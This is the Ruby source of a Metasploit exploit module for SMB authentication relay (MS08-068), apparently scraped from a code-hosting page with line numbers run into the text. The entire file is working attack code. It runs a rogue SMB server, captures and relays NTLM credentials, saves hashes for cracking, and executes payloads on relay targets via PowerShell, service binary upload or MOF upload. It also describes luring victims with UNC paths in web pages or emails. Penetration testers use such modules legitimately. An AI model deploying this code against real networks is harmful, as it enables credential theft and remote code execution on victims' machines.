CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/exploits/windows/smb/smb_relay.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45=begin6Windows XP systems that are not part of a domain default to treating all7network logons as if they were Guest. This prevents SMB relay attacks from8gaining administrative access to these systems. This setting can be found9under:1011Local Security Settings >12Local Policies >13Security Options >14Network Access: Sharing and security model for local accounts15=end1617class MetasploitModule < Msf::Exploit::Remote18Rank = ExcellentRanking19include ::Msf::Exploit::Remote::SocketServer2021include ::Msf::Exploit::Remote::SMB::Server::HashCapture22include ::Msf::Exploit::Remote::SMB::Client::Psexec23include ::Msf::Exploit::Powershell24include Msf::Exploit::EXE25include Msf::Module::HasActions26include Msf::Auxiliary::CommandShell2728def initialize(info = {})29super(30update_info(31info,32'Name' => 'MS08-068 Microsoft Windows SMB Relay Code Execution',33'Description' => %q{34This module will relay SMB authentication requests to another35host, gaining access to an authenticated SMB session if successful.36If the connecting user is an administrator and network logins are37allowed to the target machine, this module will execute an arbitrary38payload. To exploit this, the target system must try to authenticate39to this module. The easiest way to force a SMB authentication attempt40is by embedding a UNC path (\SERVER\SHARE) into a web page or41email message. When the victim views the web page or email, their42system will automatically connect to the server specified in the UNC43share (the IP address of the system running this module) and attempt44to authenticate. Unfortunately, this45module is not able to clean up after itself. The service and payload46file listed in the output will need to be manually removed after access47has been gained. The service created by this tool uses a randomly chosen48name and description, so the services list can become cluttered after49repeated exploitation.5051The SMB authentication relay attack was first reported by Sir Dystic on52March 31st, 2001 at @lanta.con in Atlanta, Georgia.5354On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin55includes a patch which prevents the relaying of challenge keys back to56the host which issued them, preventing this exploit from working in57the default configuration. It is still possible to set the SMBHOST58parameter to a third-party host that the victim is authorized to access,59but the "reflection" attack has been effectively broken.6061As of Feb 2022 - this module does not support SMB 1.62},63'Author' => [64'hdm', # Original SMB v1 relay module65'juan vazquez', # Original SMB v1 relay module - Add NTLMSSP support66'agalway-r7', # Add SMB 2/3 support67'alanfoster', # Add SMB 2/3 support68'Spencer McIntyre' # Add SMB 2/3 support69],70'License' => MSF_LICENSE,71'Privileged' => true,72'DefaultOptions' => {73'EXITFUNC' => 'thread'74},75'Payload' => {76'Space' => 2048,77'DisableNops' => true,78'StackAdjustment' => -350079},80'References' => [81['CVE', '2008-4037'],82['OSVDB', '49736'],83['MSB', 'MS08-068'],84['URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],85['URL', 'https://en.wikipedia.org/wiki/SMBRelay'],86['URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx']87],88'Arch' => [ARCH_X86, ARCH_X64],89'Platform' => 'win',90'Targets' => [91[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],92[ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],93[ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],94[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],95[ 'Command', { 'Arch' => [ARCH_CMD] } ]96],97'Notes' => {98'Stability' => [99CRASH_SAFE,100],101'Reliability' => [102REPEATABLE_SESSION103],104'SideEffects' => [105ARTIFACTS_ON_DISK,106IOC_IN_LOGS,107ACCOUNT_LOCKOUTS108]109},110'DisclosureDate' => '2001-03-31',111'DefaultTarget' => 0,112'Actions' => available_actions,113'Stance' => Msf::Exploit::Stance::Passive,114'DefaultAction' => 'PSEXEC'115)116)117118register_options(119[120OptString.new('SMBSHARE', [false, 'The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share', ''], aliases: ['SHARE']),121OptAddressRange.new('RELAY_TARGETS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST']),122OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),123OptPort.new('SRVPORT', [true, 'The local port to listen on.', 445]),124OptString.new('CAINPWFILE', [false, 'Name of file to store Cain&Abel hashes in. Only supports NTLMv1 hashes. Can be a path.', nil]),125OptString.new('JOHNPWFILE', [false, 'Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 hashes, each of which is stored in separate files. Can also be a path.', nil]),126OptString.new('SMBDomain', [true, 'The domain name used during SMB exchange.', 'WORKGROUP'], aliases: ['DOMAIN_NAME']),127OptInt.new('SRV_TIMEOUT', [true, 'Seconds that the server socket will wait for a response after the client has initiated communication.', 25]),128OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25])129]130)131132register_advanced_options(133[134OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),135OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]),136OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),137OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil])138]139)140141deregister_options(142'RPORT', 'RHOSTS', 'SMBPass', 'SMBUser', 'CommandShellCleanupCommand', 'AutoVerifySession'143)144if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)145add_info('New in Metasploit 6.4 - The %grnCREATE_SMB_SESSION%clr action within this module can open an interactive session')146end147end148149def available_actions150actions = [151['PSEXEC', { 'Description' => 'Use the SMB Connection to run the exploit/windows/psexec module against the relay target' }]152]153if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)154actions << ['CREATE_SMB_SESSION', { 'Description' => 'Do not close the SMB connection after relaying, and instead create an SMB session' }]155end156157actions158end159160def smb_logger161log_device = datastore['VERBOSE'] ? Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Module.new(self) : Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Framework.new(framework)162Msf::Exploit::Remote::SMB::LogAdapter::Logger.new(self, log_device)163end164165class SMBRelayServer166include ::Rex::Proto167168def initialize(options)169@options = options170end171172def alias173super || 'SMB Relay Server'174end175176#177# Returns the hardcore alias for the SMB service178#179def self.hardcore_alias(*args)180sock_options = sock_options_for(*args)181"#{sock_options['LocalHost']}#{sock_options['LocalPort']}"182end183184def start185@listener_sock = Rex::Socket::TcpServer.create(sock_options)186@listener_server = Msf::Exploit::Remote::SMB::Relay::NTLM::Server.new(**smb_server_options(@listener_sock))187@listener_thread = Rex::ThreadFactory.spawn('SMBRelayServerListener', false) do188@listener_server.run189rescue StandardError => e190elog(e)191end192end193194def stop195begin196@listener_server.close if @server && !@server.closed?197@listener_thread.kill if @listener_thread198rescue StandardError => e199print_error('Failed closing SMB server')200elog('Failed closing SMB server', error: e)201end202203begin204@listener_sock.close if @listener_sock && !@listener_sock.closed?205rescue StandardError => e206print_error('Failed closing SMB server socket')207elog('Failed closing SMB server socket', error: e)208end209end210211#212# This method waits on the server listener thread213#214def wait215@listener_thread.join if listener_thread216end217218attr_accessor :listener_sock, :listener_thread219220def self.sock_options_for(options)221{222'LocalHost' => '0.0.0.0',223'LocalPort' => 445224}.merge(options[:socket])225end226227private228229def sock_options230self.class.sock_options_for(@options)231end232233def smb_server_options(listener_sock)234{ server_sock: listener_sock }.merge(@options[:smb_server])235end236end237238def start_service(_opts = {})239ntlm_provider = Msf::Exploit::Remote::SMB::Relay::Provider::AlwaysGrantAccess.new(240default_domain: datastore['SMBDomain']241)242243# Set domain name for all future server responses244ntlm_provider.dns_domain = datastore['SMBDomain']245ntlm_provider.dns_hostname = datastore['SMBDomain']246ntlm_provider.netbios_domain = datastore['SMBDomain']247ntlm_provider.netbios_hostname = datastore['SMBDomain']248249validate_smb_hash_capture_datastore(datastore, ntlm_provider)250251comm = _determine_server_comm(datastore['SRVHOST'])252print_status("SMB Server is running. Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")253@service = Rex::ServiceManager.start(254self.class::SMBRelayServer,255{256socket: {257'Comm' => comm,258'LocalHost' => datastore['SRVHOST'],259'LocalPort' => datastore['SRVPORT'],260'Server' => true,261'Timeout' => datastore['SRV_TIMEOUT'],262'Context' => {263'Msf' => framework,264'MsfExploit' => self265}266},267smb_server: {268gss_provider: ntlm_provider,269logger: smb_logger,270relay_targets: Msf::Exploit::Remote::SMB::Relay::TargetList.new(datastore['RELAY_TARGETS'], randomize_targets: datastore['RANDOMIZE_TARGETS']),271listener: self,272relay_timeout: datastore['RELAY_TIMEOUT'],273thread_manager: framework.threads274}275}276)277end278279def validate_service_stub_encoder!280service_encoder = datastore['SERVICE_STUB_ENCODER']281return if service_encoder.nil? || service_encoder.empty?282283encoder = framework.encoders[service_encoder]284if encoder.nil?285raise Msf::OptionValidateError.new(286{287'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"288}289)290end291end292293def exploit294if datastore['RHOSTS'].present?295print_warning('Warning: RHOSTS datastore value has been set which is not supported by this module. Please verify RELAY_TARGETS is set correctly.')296end297298case action.name299when 'PSEXEC'300validate_service_stub_encoder!301end302super303end304305def on_relay_success(relay_connection:)306case action.name307when 'PSEXEC'308run_psexec(relay_connection)309when 'CREATE_SMB_SESSION'310begin311session_setup(relay_connection)312rescue StandardError => e313elog('Failed to setup the session', error: e)314end315end316end317318def run_psexec(relay_connection)319# The psexec mixins assume a single smb client instance is available, which makes it impossible320# to use when there are multiple SMB requests occurring in parallel. Let's create a replicant module,321# and set the datastore options and simple smb instance322new_mod_instance = replicant323new_mod_instance.datastore['RHOST'] = relay_connection.target.ip324new_mod_instance.datastore['RPORT'] = relay_connection.target.port325# The new module no longer needs a reference to the original smb server, deref it explicitly:326new_mod_instance.service.deref327new_mod_instance.service = nil328# Wrap the ruby_smb connection in a rex-compatible adapter329new_mod_instance.simple = ::Rex::Proto::SMB::SimpleClient.new(relay_connection.dispatcher.tcp_socket, client: relay_connection)330331thread_name = "Module(#{refname})(target=#{relay_connection.target.ip}:#{relay_connection.target.port})"332framework.threads.spawn(thread_name, false, new_mod_instance) do |mod_instance|333mod_instance.exploit_smb_target334rescue StandardError => e335print_error("Failed running psexec against target #{datastore['RHOST']} - #{e.class} #{e.message}")336elog(e)337# ensure338# # Note: Don't cleanup explicitly, as the shared replicant state leads to payload handlers etc getting closed.339# # The parent module will clean these shared resources340# mod_instance.cleanup341end342end343344def on_relay_failure(relay_connection:)345# noop346end347348# Called after a successful connection to a relayed host is opened349def exploit_smb_target350# automatically select an SMB share unless one is explicitly specified351if datastore['SMBSHARE'] && !datastore['SMBSHARE'].blank?352smbshare = datastore['SMBSHARE']353elsif target.name == 'Command'354smbshare = 'C$'355else356smbshare = 'ADMIN$'357end358359service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"360service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''361362vprint_status 'Running psexec'363case target.name364when 'Automatic'365if powershell_installed?(smbshare, datastore['PSH_PATH'])366print_status('Selecting PowerShell target')367execute_powershell_payload368else369print_status('Selecting native target')370native_upload(smbshare, service_filename, service_encoder)371end372when 'PowerShell'373execute_powershell_payload374when 'Native upload'375native_upload(smbshare, service_filename, service_encoder)376when 'MOF upload'377mof_upload(smbshare)378when 'Command'379execute_command_payload(smbshare)380end381382handler383disconnect384end385386# @param [RubySMB::Client] client387def session_setup(client)388return unless client389390platform = 'windows'391392# Create a new session393rstream = client.dispatcher.tcp_socket394sess = Msf::Sessions::SMB.new(395rstream,396{397client: client398}399)400ds = {401'RHOST' => client.target.ip,402'RPORT' => client.target.port403}404405s = start_session(self, nil, ds, false, sess.rstream, sess)406407s.platform = platform408409s410end411412end413414415